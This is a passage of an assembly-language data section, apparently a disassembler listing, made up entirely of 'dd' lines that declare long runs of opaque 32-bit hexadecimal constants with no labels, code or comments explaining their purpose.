		dd 0AE13F73Ah, 0E01DC135h, 496F3D02h, 86736028h, 0F78A0021h
		dd 0CF99CD51h, 0D105711Ah, 1B47FA08h, 872C53C0h, 29810113h
		dd 49C29AD2h, 605BC990h, 8D041150h, 5A0B08EEh, 0D6862885h
		dd 2AF10139h, 0C5D8F68h, 87FF075h, 6000094h, 3CC3172Bh
		dd 2AD400ADh, 1604F1FDh, 99022269h, 44683BC8h, 40A842CBh
		dd 0B22D7C89h, 91F2B4h,	9896F89Ch, 62245C36h, 9D26D401h
		dd 7C683578h, 30503421h, 0A7F092h, 1BC1FB2Bh, 0C61A1E9Bh
		dd 0CF8420EFh, 9E315689h, 59E1620h, 0A79AA1CCh,	0C4CE06E5h
		dd 590980D2h, 20E684E9h, 64034D98h, 2FB103ADh, 2BC61678h
		dd 6127A2E0h, 0E3A4C10Fh, 310FC055h, 50AA85h, 0FFA77A17h
		dd 7DF0B852h, 940B5C00h, 9B615599h, 7E5AB80Eh, 20A304B0h
		dd 0C828DF46h, 6C003524h, 1038F93Eh, 219C4A8h, 9B8C2BB0h
		dd 48C7475Eh, 0EC201C00h, 122E38EEh, 1599A44h, 0E9A7D29Ch
		dd 8C8ECC73h, 5A5879F4h, 0A6777438h, 6400FD77h,	0AC3C75E7h
		dd 3EE8FE25h, 29839F76h, 0DB72824Dh, 0FFE149D8h, 6753B90Fh
		dd 56560E4h, 0AC8DEh, 92BFD521h, 3B6C610Fh, 5B489BFAh
		dd 86A4A804h, 14086600h, 0AAE51031h, 1ADEE9Dh, 1CC26B5Ch
		dd 0C0EF36DBh, 0B128AEE4h, 3A708CD8h, 0BBB7CB01h, 0C537EB31h
		dd 0B12CF1FCh, 0D87F80DCh, 34355017h, 542B840Fh, 0F8614078h
		dd 4C8810h, 8CE6AD22h, 0B2FCAFD9h, 0F020889Bh, 0CCDA480Bh
		dd 263780F0h, 0D4F817h,	2FE433C1h, 9C3B9858h, 0F4814500h
		dd 4C79247Ch, 5D0D0E2Eh, 3C0B1D33h, 0F27A4880h,	0FD4CCEF5h
		dd 8174C77Ch, 0AAB8A2E0h, 84FB5C6Ch, 8BD93900h,	69D3D486h
		dd 5A40D700h, 90F29570h, 627401D0h, 86F17297h, 4AB0E34Eh
		dd 0A3E5DC3h, 34108173h, 0BDAD6F48h, 77D40960h,	0DA9626E0h
		dd 0EC440044h, 0D0C542EAh, 6EE85A00h, 503B2AC7h, 0BF7000DFh
		dd 5AA6D66h, 980F0A17h,	80FD2279h, 4D83ED16h, 57270331h
		dd 6C1A8BB0h, 0C1E0138Ah, 19000528h, 0DF4FF65h,	0ECE63517h
		dd 9E600BADh, 0CCA0CB92h, 8F308A03h, 6DF5FD00h,	0E9C89C25h
		dd 0EC010A06h, 0B8BDE0h, 0BAE2CC2Ah, 4101DFC7h,	70DBFE39h
		dd 0C4408AAFh, 1FEB9BEDh, 405D74CAh, 0D5C7B6BAh, 23072E5Eh
		dd 35806C06h, 0C059F4h,	53F90F78h, 2705F42Ch, 0D2A54CCFh
		dd 4C805B6Ch, 0F668D1BAh, 5C8058h, 3BCC6A84h, 2437BE40h
		dd 80BCE7A2h, 2C5234D1h, 0EE149E7Ah, 3CE8207Fh,	1600FC04h
		dd 32C2B6F8h, 0DF4739h,	0A3A7D08h, 0B043D414h, 0FF5B66E4h
		dd 72188EE8h, 0C6F8A06Ch, 0E9A58600h, 0A61B4629h, 1FF21317h
		dd 81604044h, 78997ED2h, 9B2D0900h, 0EA9A5630h,	0BB6D07F1h
		dd 8190585Dh, 305711F5h, 9617A8B8h, 0D80EDC01h,	35FCC0C1h
		dd 953ACDh, 6531B3E5h, 7953A258h, 0D06A0207h, 5B40CB54h
		dd 0F556E5DAh, 0A66DF0h, 126686DEh, 0BCA74A0Dh,	8F6CC03h
		dd 0C057B3DDh, 0D848F7h, 229C6A50h, 605B84B9h, 54E1E607h
		dd 150F5BFh, 183F2EDh
		dd 190D1069h, 0D499598Eh, 0C80F5621h, 0A0A074D5h, 0A5F3C32Bh
		dd 1FA1160Ah, 0D1F0116h, 0E40782C4h, 8C03F514h,	4099F385h
		dd 50E59A7Ah, 928100C8h, 0C784358Dh, 473E36D8h,	6058D8C9h
		dd 0A7617150h, 8D35009Dh, 0B125E3FAh, 87026638h, 0BA48C85Fh
		dd 0D47860D5h, 8B720B51h, 7421A4DDh, 0FCE21FADh, 909EAE9Ah
		dd 832EB686h, 57430F79h, 998EE6FFh, 1F946382h, 15A314C0h
		dd 0A11763Bh, 187E3D4Fh, 0B6E76B06h, 0DDE60349h, 0C4E2C2ADh
		dd 3DD7EBA0h, 0A6E8D21Ch, 0A59226C0h, 1EEE1A94h, 74575E3h
		dd 87C7ADF7h, 1EA7B033h, 0FAF09CD4h, 0F42A9105h, 0E6C1AB22h
		dd 40DEA5E3h, 7BA893Ah,	0CDC69ABDh, 8C0BD08Dh, 0E63A150Eh
		dd 80818045h, 89957182h, 69B33FD0h, 1B184386h, 0E3E09098h
		dd 0FB9AEA0Ch, 5A14B141h, 655C4CC2h, 0D6787E0h,	45434D08h
		dd 4C290E2Ch, 9F407B57h, 0F08E1C87h, 103A9D00h,	9155134Fh
		dd 48C30001h, 0DA640BBh, 0BC00F949h, 1EB71753h,	19DC928h
		dd 0A95B7032h, 40B5CB3Ah, 581524A8h, 0F50060FAh, 63E1E9AEh
		dd 1DDE6C93h, 4410A4F1h, 80725F62h, 0EAF63CDAh,	64FBB109h
		dd 41408EACh, 0A2B21C4Fh, 0F4A6D0h, 0EECA74A5h,	7DD766B9h
		dd 1000C45Bh, 4D0A44E3h, 0F370F320h, 2C41038Fh,	0F9DCA7D1h
		dd 60148DD1h, 7318547Dh, 9DF15BE6h, 2B091FACh, 426940A0h
		dd 0E48DCF46h, 0F396C500h, 984C72Eh, 0EA700EFh,	32A304D2h
		dd 6560E7BDh, 38440141h, 0BF200E0Fh, 0D100ED2Ch, 8C1B6FFEh
		dd 0CAD84D05h, 0BC004BC8h, 9BE67AD2h, 0B5A30F58h, 684AD490h
		dd 958200C8h, 4A6D1C73h, 0E7ED1804h, 274050E6h,	8D6627Fh
		dd 82599001h, 0A7F5E2A8h, 3A9CD1C8h, 3006B5Eh, 0B3D2BFFEh
		dd 84020DE4h, 0C70B01EBh, 558C81EAh, 186806C5h,	40A2EE1Ch
		dd 16B137A9h, 72180780h, 5728FD49h, 5DB70012h, 0ACF953Dh
		dd 0F900F3B2h, 386ADDE2h, 3E2FE3A0h, 0EE000BB0h, 0CF4B359Ch
		dd 0B83F1501h, 9D3C7698h, 886960C6h, 489A6Dh, 65D85949h
		dd 0EC0ABCCEh, 0C0997580h, 6F7D8430h, 0BF00B914h, 0D11B01Ch
		dd 87343E7h, 1A05E1Fh, 70AF6B41h, 0A83E1980h, 87D14AD3h
		dd 8B8C411Ch, 0C8C86F8Ah, 0BB992F80h, 0C0B3A582h, 0EF967210h
		dd 100BA0Eh, 3D21AF0Ch,	3CE78567h, 0D89C3CA3h, 8A410042h
		dd 0EE431479h, 86AC4700h, 0BE778D6Fh, 0B471007Bh, 0ABA94EB9h
		dd 830EFC08h, 0E70FC3EBh, 0A880C9CAh, 0A5AD19h,	0F1C182D8h
		dd 0D1AC8EB4h, 90D0260Eh, 0C0FBEFC9h, 0CEAB3C08h, 0ED0E1CAFh
		dd 0A60700BFh, 592E72BBh, 0D3007AE6h, 395E5CE0h, 0FC6070E8h
		dd 0C915005Ah, 9AABAF5Dh, 947333B2h, 1B39F200h,	68FCA8DAh
		dd 0AC850E88h, 0F800D332h, 0FFF13343h, 7EF99900h, 85451B01h
		dd 63E4C4h, 42DE125Ch, 53B4D3Fh, 5DEFA000h, 18454698h
		dd 716A01F7h, 0D25AE949h, 0FD4E0F8h, 5C4C4Ch, 0C372148Bh
		dd 2086DE6h, 0BFA69B0Ah, 22C060FBh, 851C3E6Eh, 0AB403A8Ch
		dd 1946C36Dh, 97FD03D9h, 72D74E1Ch, 0B66E5801h,	8BC0AB32h
		dd 46F54E80h, 0DA67D971h, 805C0E3Eh, 65580CFCh,	0A936C0h
		dd 0AF6CB77Fh, 77647E09h, 1B47EB00h, 0ECC3B2E7h, 55F70026h
		dd 839277Ch, 0CE0305F1h, 75AD0C06h, 0C801A1F9h,	3A1CC060h
		dd 3DBCB30Fh, 0CB6AB580h, 4F3BFB9Ch, 8926F8FEh,	8B3F2866h
		dd 86B28Ah, 2F6EA8AFh, 675AAh, 3A27996Fh, 90BB9E1Ah, 0AEC21900h
		dd 630E4B9Dh, 890AAh, 0C2F4967h, 0EA3FA1B2h, 99005872h
		dd 0A64AD983h, 48616254h, 711CDC1Ah, 0E7E040ABh, 0AAB9241Fh
		dd 7E89222Fh, 428A0721h, 0B48220CAh, 0C402C060h, 0C8D83627h
		dd 0CB436061h, 0BAC601ECh, 0C0B44CEFh, 0FC713164h, 7200ADA7h
		dd 6054191h, 18CFF6h, 6AF2E6A4h, 0DF87113Eh, 0C9C32000h
		dd 3F1DEB16h, 38E3004Ah, 0F901A74Fh, 7100FB12h,	0CC0EB607h
		dd 0FC7CBCDBh, 31E30779h, 0D0A6CBE1h, 0E6824ABFh, 0FA008092h
		dd 0C1B84CA0h, 531B6Ch,	1DC037C9h, 4ACA9E43h, 0A40B6200h
		dd 0F7D5C12Dh, 906A00E4h, 8CABB376h, 0DC000F2Eh, 0DA4E0BA0h
		dd 0B8E45B31h, 3C5B265h, 48709D49h, 0B2A1A5CDh,	44FF885h
		dd 0AA626F00h, 0CB7EE651h, 0EF63AA2h, 92972CF3h, 2360040h
		dd 563820C8h, 466D3D0Eh, 0C2A1006Bh, 6BDC14B2h,	81FD691Bh
		dd 0C02864C5h, 245117E4h, 90478Ah, 3B8FAABEh, 9B04C80Dh
		dd 0E8DE52F2h, 885DB483h, 3F939468h, 5F006EC1h,	0B38A5611h
		dd 593DC7C6h, 1CAF248Bh, 19393A80h, 794FE98h, 0F5F37478h
		dd 0FB8C0066h, 1E00A34Bh, 0A51DA01Ah, 9067CDCCh, 1CEC7E17h
		dd 13B0BF3h, 14ACC18Fh,	49502022h, 91845100h, 0A4F6CEEFh
		dd 0E28D00FFh, 417D3124h, 1960C76Ah, 21BC0328h,	0C5D73098h
		dd 0C29DE090h, 0C89BE700h, 41B693F2h, 6488002Fh, 7B520638h
		dd 0B0D27356h, 0F91C2B01h, 0D4E0C3CCh, 9417003Bh, 0EAA27F3Fh
		dd 5E50137Ah, 0B100779Ch, 3CCA3EF4h, 4CD5A3D7h,	7927C0h
		dd 0C99460EDh, 78EC3099h, 5798E470h, 0FC55E000h, 0B84B018Ch
		dd 526900F6h, 0C41C0CBFh, 0F1000342h, 0CAC2E59Ch, 974980h
		dd 352D3FDBh, 0E7CDC3F8h, 81855400h, 0A7933AAFh, 1ED30048h
		dd 24535B8Fh, 58003EC4h, 1AC95075h, 5D5A676h, 0A36ECB35h
		dd 878AC065h, 0BF007CC7h, 55D4CA01h, 736BEAh, 45F2ED14h
		dd 8AC32721h, 702D5901h, 37B83D58h, 7098F1FCh, 0ADB700A9h
		dd 0D1C88C06h, 877F3642h, 8D7E2507h, 48C0D7CEh,	0F7201DC6h
		dd 0A44175DDh, 0BFC83FD9h, 5E380390h, 974C8221h, 44EE12B0h
		dd 0EA4BD89Fh, 7D5B0030h, 7EA41348h, 91002CA6h,	0AA892976h
		dd 9C417h, 0EBA386A9h, 0B5CFB8B4h, 7A00C97Fh, 95461611h
		dd 659D13h, 0E179B3DCh,	0B28E6220h, 6E6C5A01h, 0F247C125h
		dd 761ADEFCh, 95490014h, 0A37B59FEh, 0FA001DEEh, 183D354h
		dd 9E965F6h, 4423F28Fh,	97520420h, 0F407B6DCh, 25CFE8A0h
		dd 0D06E3220h, 0A8750092h, 95031E77h, 1200B958h, 8BA3D944h
		dd 96F86Ch, 8D9A3BDAh, 0AEE72D78h, 50F921FAh, 5089D0C0h
		dd 0F0539103h, 0C03C412h, 0FB3EC1CCh, 94A44A78h, 0A15A39h
		dd 9C3AE310h, 422D3B0h,	41844FE7h, 9058C00Bh, 15001463h
		dd 0EE528D7Dh, 6F2EE6h,	3139EDC9h, 0B369061Eh, 0DA237000h
		dd 0B2DE2C59h, 16861E83h, 0EA770011h, 489FFBFh,	4923C50Fh
		dd 6952605Bh, 26EF01B0h, 3E7F293Dh, 5AC8CD00h, 0E597825Ch
		dd 952AD801h, 917B90F0h, 0A8C38443h, 0EE13164Bh, 0EFF700CBh
		dd 24F54CFDh, 0CA00EA99h, 0FEADFB3Bh, 3BD9Ah, 0DA66320Dh
		dd 985FC302h, 0D97FFF00h, 72F1FC9Bh, 0AF749Fh, 2795DEE0h
		dd 0D3EE6AF9h, 0EFD8B900h, 69DD94E2h, 81672CDAh, 0CE6C0024h
		dd 0A8315378h, 0E12158B7h, 37C4BE87h, 71813FE5h, 0FE1948C0h
		dd 0C0602C4Ah, 3C006FFCh, 5C2DD4E0h, 65B5D9h, 2FCE2B3Fh
		dd 7973A968h, 51020B00h, 0BA39FEF8h, 8FA8095Ch,	0F88ECB3Dh
		dd 0C4149BC3h, 0A2496A80h, 0DE4E801Eh, 0CF2A6D80h, 0CDA79Ch
		dd 0DB9F1D63h, 7C3AEF77h, 140E6F00h, 0C0E0978Eh, 0ACBE01ECh
		dd 257D41F2h, 2DC7D495h, 0C271E6F4h, 814E6B00h,	0DBB476CAh
		dd 80B726D4h, 1DC107A8h, 224C8182h, 45108F0Ah, 0B45B02EFh
		dd 8CA50008h, 5F0063EDh, 39018044h, 123E973h, 4F568959h
		dd 0C5A660A4h, 84EE1FAh, 0F412177Ch, 0AFE84E4Bh, 473FCB40h
		dd 0E10DDA1Dh, 0F9E2B087h, 0FB140880h, 7A540967h, 3F90B700h
		dd 0E470623Ah
		dd 0EFFA02DFh, 0CF144B73h, 5A07A448h, 8A194D00h, 54E6E78Bh
		dd 6E711CEBh, 0F9F6C7FDh, 4F80FEECh, 4EAFF65h, 630A9500h
		dd 10360621h, 0E044005Bh, 2F58D7C3h, 6CEE86AEh,	60FAB700h
		dd 0FF0C3BC2h, 0AB2D0050h, 0BE9ABC77h, 0BA00C7E9h, 0EEC535FDh
		dd 34732Eh, 66246B01h, 3D7E90CCh, 3E011571h, 0F6CB2FA9h
		dd 97EFE0DEh, 0EFFCDA70h, 900E006Dh, 0C73D0C56h, 17005C39h
		dd 6FE8ED46h, 0A133F7h,	0E27D4C1h, 19DE3420h, 9F109B1Eh
		dd 4EECA580h, 122CD9h, 0E40A03A8h, 323F793Dh, 9AA7B03h
		dd 0D81D252Dh, 1224E58h, 0FC6A8F5Bh, 500A2F29h,	0A3DB2898h
		dd 65EC438h, 0BF5DA4Ch,	21D96408h, 4A89C049h, 0CA3FA918h
		dd 3A32802Ah, 0C0C5CC25h, 0F0111958h, 184D5982h, 0C7150F6Fh
		dd 0C8905F13h, 3BAD80BCh, 8A8F0A15h, 0DBF9A7F8h, 0FC80DFE2h
		dd 531A9DD2h, 7AF0C85Dh, 0DE00CAEEh, 4B9805C1h,	0E89A949Eh
		dd 20D4606Ah, 4C983D9h,	2D00327Dh, 26C419D5h, 33EC78F3h
		dd 87016F5h, 456251D0h,	8FBC171Eh, 33918930h, 0B21E03D1h
		dd 1BB1DF0Ah, 0C38F8C90h, 44CE521Eh, 6ED118B0h,	0E98D6198h
		dd 875BFDAh, 77A313DEh,	0A0A3105Fh, 0A38182B0h,	0D3F75Ch
		dd 663C27BBh, 7C978BA2h, 0BC0A0091h, 0EF4C5558h, 8A00F6F5h
		dd 0D74FDBFFh, 7D5962h,	566E0418h, 8F4EA29Ah, 9CB63000h
		dd 1BA9598h, 2B730292h,	2C9DDA7Fh, 659500DFh, 74CDC06h
		dd 70749056h, 0AA6A2039h, 910019B1h, 2FAF17CBh,	0A0243DB9h
		dd 9088BABCh, 91104C9Eh, 5933A100h, 0DFBF2118h,	0D88C9900h
		dd 0E696F3Dh, 481503EFh, 0DE591647h, 42F31AF8h,	0A25C5002h
		dd 0C07AFD53h, 1F1923D8h, 0EA179B7h, 0EC03E9Eh,	8DD05F92h
		dd 0E27C887Eh, 0B1BCBB1Fh, 0E160B403h, 284C8FC6h, 74FF0032h
		dd 0F22854FDh, 17638702h, 5F1F08h, 7748B820h, 14FD2A96h
		dd 336A139h, 849DAA90h,	0B769017Fh, 86518E10h, 0EE1180F8h
		dd 21E80323h, 314A7F7Ah, 0CA08838Dh, 63789ECFh,	5F951380h
		dd 0C9ABBh, 966C26Ah, 0CFDF3A8Eh, 0D83BBD03h, 9D4CACh
		dd 0A9738730h, 0B1C59B28h, 298D3100h, 0DFF9A4A5h, 0EAA0610h
		dd 887F9DE3h, 85AC9021h, 0C4BF1394h, 744214Fh, 0DFCE00CCh
		dd 9F8F0004h, 0E129AE72h, 6F051650h, 0E373A85Dh, 18A4B401h
		dd 0A4542431h, 0E8F1BC03h, 0D2CC01Eh, 6EC3144Dh, 6900C481h
		dd 9FA8744Eh, 8007DF5Ch, 6ACEB851h, 0BB633050h,	0AE0D00C0h
		dd 50EE1606h, 0E21FEB35h, 685C0EECh, 47C537DDh,	48C024CFh
		dd 3DD6BAh, 0DD8BA4EAh,	5C28F20Bh, 0BD21C113h, 4564C700h
		dd 3EAF7h, 0A20BEC0Eh, 2230103Dh, 0A900E9E8h, 2819CF24h
		dd 7AD004h, 66913513h, 1FE332A5h, 0F4604001h, 454AB37Dh
		dd 71D590D0h, 3DDF0086h, 0EACB1262h, 0B600B2C9h, 1437EB65h
		dd 0D56FE5h, 0C8FB9E6Ah, 8C953401h, 2F1F2578h, 0BE31BCh
		dd 97ECA189h, 0D29EDh, 0FEA4598h, 3441255Fh, 0EE278F01h
		dd 0BED1FD78h, 17D561DDh, 458EE0h, 1BB63EA9h, 0ED9A2797h
		dd 8075AE3Dh, 5DD9F2D3h, 8F5ED5h, 72F75854h, 4BAD2A99h
		dd 71F2BDF4h, 0B6BADB00h, 0FC3C7421h, 0FB6C0330h, 37B77E5Fh
		dd 909996DFh, 0D80020F2h, 1F4161AFh, 600D0F4Fh,	6BCC18C0h
		dd 550E37C6h, 60639B8Eh, 685E8B7Fh, 0F379D3h, 0D0971284h
		dd 16A2A699h, 7FBA7B0Eh, 8E5B6032h, 6F0501h, 0C457DC5Eh
		dd 69D3F106h, 0AB021800h, 0AD0B197Ah, 0E8B00052h, 7C1D8BF6h
		dd 0D801146Ch, 34C66AFFh, 0A1809AFCh, 0C879F147h, 10C04F2Fh
		dd 0DD0E9DC3h, 64CA0045h, 9069F571h, 0DA000737h, 0C657A355h
		dd 67B9Eh, 0CF1CB340h, 0E54223B2h, 0D6805900h, 7F51D54Bh
		dd 62F40076h, 0C890F3FFh, 9F0A8BFAh, 0E48303F6h, 0FCFDF100h
		dd 68A26A9h, 3F2F1ADBh,	0BCB00834h, 474420C0h, 380C94A9h
		dd 600E2B3h, 587833DAh,	81008E9Ch, 0A2356532h, 3E4FC57Ch
		dd 0E30354B5h, 0D0609EF0h, 21C89DA0h, 47003E76h, 393A41EFh
		dd 0F4713D85h, 0C3488F2h, 0A1F3D000h, 59AB0AEFh, 0D62800ACh
		dd 5D35C904h, 5F2E3E7Ah, 7A3E7A42h, 0EADB0100h,	116CA067h
		dd 4D060C15h, 9DB0CA4Eh, 9A1C9278h, 103525EEh, 0E793D701h
		dd 5C30A209h, 9CC53AD5h, 9531E130h, 200107F7h, 0AC387541h
		dd 74C0F28Dh, 648638A7h, 52FAE580h, 0EF5FBE42h,	21911D03h
		dd 0E66F4E7Fh, 47C80040h, 0CD58CED5h, 5319D727h, 0E2204CD8h
		dd 76A9E180h, 6C257D26h, 0BCFEC2EAh, 98BA5600h,	69DD3E9h
		dd 9BD71824h, 41D1388Eh, 1C83F500h, 7C3B35Dh, 0DD57006Ah
		dd 0E255BF9Ch, 4403F670h, 22BEC4FBh, 0A820F8C6h, 0BA690261h
		dd 4FB28E90h, 0C9E300DFh, 24735452h, 0A1499Bh, 75D934CEh
		dd 1A0131AEh, 4A1F76DFh, 52D4F858h, 0DD0700E1h,	0C81ECDCh
		dd 7A1F55ADh, 0AAD6FC74h, 0E92C0900h, 92F630h, 0A299EE49h
		dd 0F1A508C9h, 3FD9E201h, 7A4C5A9Fh, 604DD0CFh,	35670EA3h
		dd 738374EFh, 42E853CCh, 0A70E2A1Ch, 0E0BA31ECh, 0CD892887h
		dd 0AFE20013h, 9043CC97h, 0A000836Dh, 60A2BCA3h, 1CC03C37h
		dd 403A9F3Eh, 24428D41h, 0E50F5398h, 0D840A2B6h, 16D27021h
		dd 0F83A343h, 41BD357Fh, 2C7A9E1Bh, 0AC8080B4h,	6A8845FEh
		dd 783202C5h, 50BAC201h, 69D630E0h, 4051500h, 0C53FFAB8h
		dd 0AC71C9h, 8CAD7B98h,	2E5BE694h, 0FFF218C6h, 0A38307F0h
		dd 90C6957Eh, 0FA63E6B0h, 0A2C9DA18h, 2B0A5A90h, 1E908AA5h
		dd 7FD4CB3Dh, 62903108h, 1B00B891h, 0E93A5Bh, 702EC147h
		dd 0A8D5FE81h, 0F2FF3Eh, 0C7CC33E0h, 54D89C9h, 5F73C8DDh
		dd 0E19C0092h, 0FCCB1D54h, 51D47A41h, 0A49C50B5h, 9D6A00E7h
		dd 87049391h, 0D4011CE3h, 0EA051E10h, 25C8BA45h, 4EC900EEh
		dd 21A02AA1h, 47006713h, 949395Ah, 180B9BBh, 974B2F72h
		dd 0E094600Eh, 30001484h, 0FD736AC9h, 263B9E7Ch, 0CE198Eh
		dd 561E2A86h, 6C00E40Ah, 0D348D87h, 1F39F7A6h, 80F30207h
		dd 7AEF8ACDh, 14003099h, 871091D3h, 279A4Eh, 2DD2A0A3h
		dd 0D7AA12Ah, 0DAE3FA1Ch, 12DF48C1h, 0A06AA729h, 0B4008551h
		dd 0EB23BC88h, 2F8C8Ah,	737DDF9Ch, 0DBA982D7h, 31001F71h
		dd 9F12E0EDh, 1EB30D83h, 0CE1D378h, 1F180ED2h, 2162FC00h
		dd 989697CFh, 0D769017Dh, 1D07C9BEh, 0E357F419h, 3EC3F539h
		dd 0A17280E7h, 866B5F14h, 57007DEh, 0D0A3132Dh,	551121F2h
		dd 0E5011C7Ch, 81020EBFh, 6880453Ch, 0A293FF5Eh, 8002718h
		dd 84C7ADEDh, 0B021F730h, 0A95700E6h, 0AA74A216h, 4E00EB1Dh
		dd 5526C0E0h, 176072h, 773996CEh, 0B190E9D4h, 51654A00h
		dd 6288CA4Fh, 2E8A0086h, 0D33771D7h, 0CB0F5F15h, 3D9680D0h
		dd 510AD906h, 0F45A1D89h, 495FC18Fh, 40239042h,	0E2BB1388h
		dd 7200E47Dh, 5D3180ABh, 0C33AD6h, 0C5A23445h, 0FAC8222h
		dd 5C86E707h, 11C05516h, 1ED07705h, 0C063E315h,	0C750B06Eh
		dd 0E7776C4Eh, 62E0CD0Bh, 3B6980EEh, 1238BA8h, 80164925h
		dd 0DCCC0B57h, 0EF186E2Dh, 7E204F1Ch, 2EBE071Eh, 73D2BA2Ah
		dd 180050ADh, 0F318C53Bh, 206DEF54h, 8E0043A6h,	82DFD208h
		dd 0F50A03h, 0D69E93A9h, 0DE2E0135h, 4179F07Dh,	0ED1C8C03h
		dd 808D6F77h, 0FAABEF46h, 0E18B0AC5h, 4350A162h, 0E6884924h
		dd 0EF22511Fh, 89BD603Ah, 82BE1DF9h, 819D913Ah,	0AAECFD38h
		dd 0C1803C01h, 0A407EB3Ah, 7A0BE6A3h, 662B56Fh,	0C041877Eh
		dd 0B83F5290h, 0D90E7FEEh
		dd 6EBB4FA5h, 0CA5F803Bh, 44B61Eh, 51F0CC72h, 0B74A813Dh
		dd 0FD420800h, 9C1CB970h, 0CEE900F7h, 2A65CDFAh, 0BD0020DFh
		dd 9F59610Bh, 479538h, 76287CC6h, 0D53ACB48h, 0F1DC3700h
		dd 275CFDACh, 54E81Ch, 7958D0FBh, 1EAD7FD7h, 0BDF36300h
		dd 77AECA32h, 18440006h, 9A62CE4Bh, 73005164h, 0A2CC5425h
		dd 73B7FF9h, 0F0506BE8h, 65A00EAAh, 73FEE96Dh, 4C95BC00h
		dd 1109B48Fh, 212F0E3h,	464486C3h, 3361CC5Bh, 0FCC1C821h
		dd 8A75A600h, 0CD3C5A5Fh, 38177995h, 9E81E067h,	5BDD1F89h
		dd 8E75E496h, 37E86900h, 0AD422EA8h, 997D01C0h,	7986B8B2h
		dd 0E04931FBh, 0AF0069CCh, 2E037822h, 3DB053h, 0C91CC1E4h
		dd 66F160D2h, 0A5E58D16h, 0C05C1A0Fh, 2B065748h, 0B10E00FBh
		dd 0EAB9CFB5h, 0DD000328h, 0AC491F3Dh, 2D229AC8h, 79F64638h
		dd 7165A500h, 99B439h, 153B7D4Fh, 7B4902F4h, 0A71F8100h
		dd 0ED372027h, 97E403FBh, 9076FD19h, 0E2D8910Eh, 4D2FC6D2h
		dd 26F0050h, 0E30D58ABh, 1503C0CCh, 20EAFA9Eh, 0C0547853h
		dd 37573FD8h, 0F20A51B5h, 8083DA7Ch, 18B1CD00h,	22A779h
		dd 0C0B4D0B6h, 453BFC84h, 95424302h, 81989427h,	8F38BA2Ch
		dd 8091D01h, 0BEE444A7h, 0C4781086h, 0B814109Bh, 4D34ED82h
		dd 0EA30D004h, 6180281Ah, 4B10847Dh, 8210559Ch,	271482EFh
		dd 0C1680298h, 402BD510h, 0CBEEBC4Ch, 40801E88h, 0B1423529h
		dd 0B1D6617Fh, 178482A6h, 24593C76h, 3110A7CCh,	13B93958h
		dd 0F2407CD8h, 6745B8C6h, 60921083h, 77AC9F4Dh,	22ED0C00h
		dd 0E1B37110h, 0D2FE1415h, 0A003DC54h, 50FDF986h, 0FFCCF2C0h
		dd 11C5E50Ch, 799C0BAh,	0FC3475A1h, 74F7C01Bh, 1C004595h
		dd 93FCD7Eh, 2D80592Ah,	9760CC9Dh, 3D03146Ch, 720ECB1Ch
		dd 3BA001C6h, 0EA2D6360h, 0C7D020F2h, 0C9713E09h, 8F6C2098h
		dd 55281F42h, 78A1B080h, 0FB145E04h, 0E8E829h, 95676061h
		dd 1C1277h, 0A46EA209h,	724A2A7Fh, 0C547F307h, 4F1037C1h
		dd 2BAD4Eh, 3B25FC14h, 90D263BCh, 0A8314800h, 0A4652C46h
		dd 7B5F01E1h, 8A878544h, 0CA80CC33h, 0FF096902h, 60969E2Fh
		dd 0FE224148h, 0E0C9006Bh, 0C635EA38h, 76001F92h, 0FB516FDFh
		dd 17BCEB05h, 0A2A7A1h,	96B074ECh, 5A00288Bh, 0D707CD0Dh
		dd 2EED45h, 79EB4A01h, 5E3A70F4h, 0A81E5Ch, 7E327894h
		dd 1E7421D8h, 75CFBEFh,	6E433951h, 9F61D1E0h, 0EC00FEBDh
		dd 2493E895h, 1FA26A29h, 0F8D6777Bh, 0E2005ACCh, 0D9C01040h
		dd 0BB00E651h, 0DF09B3Eh, 0E45D2BF1h, 0BD4D00DBh, 297921E0h
		dd 4004A87h, 7017318Ah,	0E7895Bh, 0BF74D365h, 0FF2F5F01h
		dd 47054100h, 5DE86346h, 0C8320044h, 0F50EF721h, 2A00F0C9h
		dd 7C044096h, 6A2B72h, 57EE1147h, 0F715AF4Fh, 8C28A500h
		dd 91BD5339h, 5C9D007Bh, 7D1295B6h, 5100CF03h, 0F4E85E1Dh
		dd 494C83h, 0DBB8DCB3h,	0C1580DF5h, 57002890h, 0F4D180A3h
		dd 7123708Eh, 0DA171804h, 0B4A9A8A2h, 0CDAC6800h, 4E30D573h
		dd 481C92B7h, 0D7090AAEh, 128E196Bh, 0AA019184h, 80EE8580h
		dd 63410023h, 4B2902Bh,	80E7A9D7h, 0C3D1ECECh, 9DEAC5h
		dd 56A649B8h, 0A9DAF459h, 0B97CB700h, 0FA3F9247h, 5B8A00FDh
		dd 0B6C15E5Ah, 0E002AB1Eh, 4B64AFC7h, 59C960A4h, 85BC00E2h
		dd 0B20312F5h, 5700BA9Bh, 0C01E50F2h, 25CE67AAh, 0DD5E9226h
		dd 403A490Fh, 77883608h, 0FEA700BFh, 199C498h, 410971E1h
		dd 212CC33Fh, 39A406B4h, 6CB53C0h, 25FA6551h, 0F20081D5h
		dd 5897325Eh, 3AD046F3h, 52009992h, 0AE57CD21h,	1FE4396Ch
		dd 69E8F900h, 7D78BD04h, 0ECEC603Dh, 73F46EFFh,	0B5E04103h
		dd 0E152BC2Fh, 0E5E4C1CBh, 1FEC01h, 0A9DAFA2h, 6B4EE126h
		dd 0CF5DE000h, 6E94DF38h, 68A0014Bh, 4080F141h,	3C29FCC8h
		dd 737F7900h, 1810F569h, 2B3400B8h, 0E6EB1DADh,	6802EE88h
		dd 23FA96A3h, 260068F9h, 1D3F00B2h, 0CFF8F49Dh,	95002D61h
		dd 0D06713E4h, 0D9E096h, 1FF62981h, 0A8F41143h,	16834000h
		dd 0ED1051E2h, 6534CE7h, 0ACCE4C00h, 21928BDAh,	9B67DC00h
		dd 0FC153182h, 5B18C30Ch, 80ED74F2h, 0F76F7D4Bh, 0E796CF00h
		dd 0B493851Eh, 0F249161Bh, 7DD007E4h, 4E270CEh,	240132ADh
		dd 88E35BA6h, 9B201544h, 2625006Fh, 5A2DA2B4h, 8C18792Eh
		dd 82680ECDh, 662F009Eh, 6F02314Fh, 5F3BD145h, 0DC60057h
		dd 0D01D7872h, 0FF070015h, 3105EA4Ah, 5B00CF20h, 73CB3570h
		dd 0A6B6C2h, 0E2F41F72h, 0C0636ACDh, 5AAA3F60h,	1E2045F9h
		dd 80B96BDAh, 34E14102h, 0E90343B5h, 0AE4BFDB0h, 0F0501718h
		dd 9D9E0071h, 4FC1C39Fh, 0E152D800h, 0B633CDE6h, 0C6861EF4h
		dd 0BE5C40h, 47F5AAE3h,	0D100A7E4h, 44655EF8h, 7FD90841h
